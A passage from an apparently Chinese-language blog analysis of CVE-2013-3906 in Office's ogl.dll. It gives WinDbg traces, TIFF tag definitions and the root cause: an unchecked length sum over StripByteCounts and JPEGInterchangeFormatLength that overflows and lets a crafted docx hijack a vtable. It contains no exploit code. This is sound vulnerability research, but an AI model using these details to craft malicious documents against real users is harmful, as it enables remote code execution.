OGL!GdipClonePath+0x28:
67bbe174 8bce mov ecx,esi
67bbe176 ff5004 call dword ptr [eax+4]
67bbe179 85c0 test eax,eax
67bbe17b 0f84beb11000 je OGL!GdipPlayTSClientRecord+0x438 (67cc933f)
67bbe181 8d86dc000000 lea eax,[esi+0DCh]
67bbe187 50 push eax
67bbe188 8d4df4 lea ecx,[ebp-0Ch]
67bbe18b e87374ffff call OGL!GdipCreateBitmapFromResource+0x74b (67bb5603)
0:000> p
eax=08080808 ebx=002608a0 ecx=0d12dcf8 edx=00000000 esi=0d12dcf8 edi=0026070c
eip=67bbe176 esp=00260610 ebp=00260624 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202
OGL!GdipClonePath+0x2a:
67bbe176 ff5004 call dword ptr [eax+4] ds:0023:0808080c=????????
漏洞根本原因
通過進一步分析，樣本為一個Open XML docx文件，裡面嵌入了一張tiff格式的圖片，winword.exe在開啟文件的時，會呼叫ogl.dll動態庫解析tiff圖片，導致了這個整數溢位漏洞。
tiff是一種影像格式，它裡面可以包含不同型別的圖片格式，如下所示：
詳細的結構如下：
tiff的tag分很多種，由一個具體的數字來標誌當前tag的含義，這個漏洞中涉及到的tag及其對應的解釋如下：
Compression(壓縮標誌欄位)
Tag = 259 (103.H)
Type = SHORT
N = 1
This Field indicates the type of compression used. The new value is:
6 = JPEG
-------------------------------------------------------------------------------------
JPEGInterchangeFormat(JPEG壓縮資料頭部)
Tag = 513 (201.H)
Type = LONG
N = 1
This Field indicates whether a JPEG interchange format bitstream is present in the
TIFF file. If a JPEG interchange format bitstream is present, then this Field points
to the Start of Image (SOI) marker code.
If this Field is zero or not present, a JPEG interchange format bitstream is not
present.
-------------------------------------------------------------------------------------
JPEGInterchangeFormatLength(JPEG壓縮資料長度)
Tag = 514 (202.H)
Type = LONG
N = 1
This Field indicates the length in bytes of the JPEG interchange format bitstream.
This Field is useful for extracting the JPEG interchange format bitstream without
parsing the bitstream.
This Field is relevant only if the JPEGInterchangeFormat Field is present and is
non-zero.
-------------------------------------------------------------------------------------
StripOffsets(壓縮條目偏移陣列)
Tag = 273 (111.H)
Type = SHORT or LONG
For each strip, the byte offset of that strip.
-------------------------------------------------------------------------------------
StripByteCounts(壓縮條目大小陣列)
Tag = 279 (117.H)
Type = SHORT or LONG
For each strip, the number of bytes in that strip after any compression.
010 editor自帶一個tiff的解析模板:TIFTemplate.bt，用它可以清晰地看到tiff檔案的佈局：
在cve_2013_3906_func中，傳入了一個大小為0x16c(第1引數)的物件，同時還傳入了從JPEGInterchangeFormat Tag中讀入的資料(第2引數)和從JPEGInterchangeFormatLength Tag中讀入的資料大小(第3引數)
0:000> dps 2b29ee90 l16c/4
2b29ee90 2cd5efe0
2b29ee94 00000000
2b29ee98 2b2a0565
2b29ee9c 2b2a0565
2b29eea0 00000000
2b29eea4 00004a9a
2b29eea8 677915f8 OGL!GdipCreateEffect+0x44b0
2b29eeac 67791626 OGL!GdipCreateEffect+0x44de
2b29eeb0 67791654 OGL!GdipCreateEffect+0x450c
...
2b29ef30 2a884ef0 // +0xa0 StripByteCounts.value[0]
...
2b29ef7c 00000044 // +0xec StripByteCounts.count
...
2b29eff0 00000000 // +0x160 AllocLen
2b29eff4 00000000 // +0x164 AllocAddr
2b29eff8 00000000
緊接著從物件的+0xec處獲取StripByteCounts.count
再從物件的+0xa0處獲取StripByteCounts.value[0]
然後在一個while迴圈對所有0x44個value[x]進行累加得到一個累計值
最後AllocLen = 累計值 + StripByteCounts.count*2 + JPEGInterchangeFormatLength + 8
整個計算過程的程式碼如下：
整個公式可描述如下：
ogl.dll沒有對這個公式計算得到的長度做基本的資料校驗，導致整數溢位。後面在解析特定物件(維一零在文章中說這個物件叫做GraphicsPath，但我除錯時沒有拿到符號，只能根據校驗的Tag斷定這是一個類似的結構。此外，我看到《masTIFF - An in depth analysis of CVE-2013-3906.pptx》這篇文章的dps命令顯示日誌中有符號，暫不清楚作者是如何得到的)時，原本會呼叫該物件的一個虛擬函式進行Tag校驗，但此時虛表的地址已被覆蓋，從而劫持控制流到任意地方。這個漏洞的所有要點在 維一零的文章裡已經寫得很清晰了，本文只是對我自己有疑惑的一些地方進行了除錯補充。
參考連結
《CVE-2013-3906（ms13-096）漏洞分析與利用》 https://weiyiling.cn/one/cve_2013_3906_ms13-096
《An Analyze Of CVE-2013-3906》 www.adl.tw/adlab/ppt/551_CVE-2013-3906.pptx
《masTIFF - An in depth analysis of CVE-2013-3906.pptx》http://www.reconstructer.org/papers/masTIFF%20-%20An%20in%20depth%20analysis%20of%20CVE-2013-3906.pptx
《tiff6.pdf》 https://www.itu.int/itudoc/itu-t/com16/tiff-fx/docs/tiff6.pdf
《TIFF "Tag Image File Format"》 https://medschool.vanderbilt.edu/pdb/tiff-tag-image-file-format
《關於CVE-2013-3906的八卦》 http://thecjw.0ginr.com/blog/archives/97
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